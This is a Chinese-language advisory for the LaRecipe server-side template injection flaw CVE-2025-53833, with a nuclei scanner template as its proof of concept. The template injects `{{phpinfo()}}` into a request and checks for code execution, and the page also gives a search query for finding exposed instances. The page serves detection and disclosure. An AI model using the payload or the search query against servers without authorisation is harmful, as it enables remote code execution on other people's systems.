LaRecipe 服务端模板注入漏洞

漏洞信息

漏洞名称： LaRecipe 服务端模板注入漏洞

漏洞编号：

• CVE： CVE-2025-53833

漏洞类型： 服务端模板注入

漏洞等级： 严重

漏洞描述： LaRecipe是一个允许用户在Laravel应用内部使用Markdown创建文档的应用程序。该应用在2.8.1之前的版本中存在服务端模板注入（SSTI）漏洞，可能导致远程代码执行（RCE）。攻击者可以利用此漏洞在服务器上执行任意命令，访问敏感的环境变量，或者根据服务器配置提升访问权限。此漏洞的根源在于未对用户输入进行适当的验证和过滤，使得攻击者能够注入恶意模板代码。由于LaRecipe广泛用于文档创建，此漏洞的影响范围较广，特别是在未及时更新的系统中。攻击者无需认证即可利用此漏洞，且可以自动化执行攻击，因此对使用受影响版本的用户构成了严重的安全威胁。建议用户立即升级到v2.8.1或更高版本以获得修复。

产品厂商： LaRecipe

产品名称： LaRecipe

影响版本： < 2.8.1

搜索语法： body=”/binarytorch/larecipe/“

来源： https://github.com/projectdiscovery/nuclei-templates/blob/22cfb81bb221a42e84f52ad9ec5e127f62c0a111/http%2Fcves%2F2025%2FCVE-2025-53833.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2025-53833

info:
  name: LaRecipe < 2.8.1 Remote Code Execution via SSTI
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations. Attackers could execute arbitrary commands on the server, access sensitive environment variables, and/or escalate access depending on server configuration.
  remediation: Users are strongly advised to upgrade to version v2.8.1 or later to receive a patch.
  reference:
    - https://github.com/saleem-hadad/larecipe/security/advisories/GHSA-jv7x-xhv2-p5v2
    - https://github.com/advisories/GHSA-jv7x-xhv2-p5v2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53833
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/binarytorch/larecipe/"
  tags: cve,cve2025,larecipe,rce,ssti,oss

http:
  - raw:
      - |
        GET /docs/1.0/?{{phpinfo()}} HTTP/1.1
        Host: {{Hostname}}

    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200